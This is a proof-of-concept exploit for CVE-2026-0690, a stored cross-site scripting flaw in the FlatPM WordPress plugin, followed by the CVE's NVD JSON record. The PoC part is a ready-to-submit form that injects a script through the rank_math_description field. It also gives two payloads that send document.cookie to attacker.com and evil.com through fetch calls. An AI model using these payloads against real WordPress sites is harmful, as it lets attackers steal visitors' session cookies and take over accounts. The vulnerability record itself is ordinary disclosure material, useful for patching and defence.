CVE-2026-0690

<!-- PoC for CVE-2026-0690 Stored XSS via rank_math_description --> <!-- Requires Contributor+ role on WordPress with FlatPM plugin installed --> <!-- Method 1: Using script tag --> <meta charset="UTF-8"> <form method="post" action="http://target-wordpress-site/wp-admin/post.php"> <input type="hidden" name="post_ID" value="1"> <input type="hidden" name="meta[rank_math_description]" value='"><script>alert(document.cookie)</script><x y="'> <input type="hidden" name="action" value="editpost"> <input type="hidden" name="_wpnonce" value="YOUR_VALID_NONCE"> <button type="submit">Exploit</button> </form> <!-- Method 2: Using event handler --> <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> <!-- Method 3: Stored XSS payload --> <svg/onload=fetch('https://evil.com/log?c='+btoa(document.cookie))>

{"cve": {"id": "CVE-2026-0690", "sourceIdentifier": "[email protected]", "published": "2026-01-20T15:20:07.437", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The FlatPM – Ad Manager, AdSense and Custom Code plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'rank_math_description' custom field in all versions up to, and including, 3.2.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin FlatPM – Ad Manager, AdSense y Custom Code para WordPress es vulnerable a cross-site scripting almacenado a través del campo personalizado 'rank_math_description' en todas las versiones hasta la 3.2.2, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto permite a atacantes autenticados, con acceso de nivel de colaborador y superior, inyectar scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3434760/flatpm-wp", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/14b89618-8a30-4b8c-9490-f05e8fa8ca8a?source=cve", "source": "[email protected]"}]}}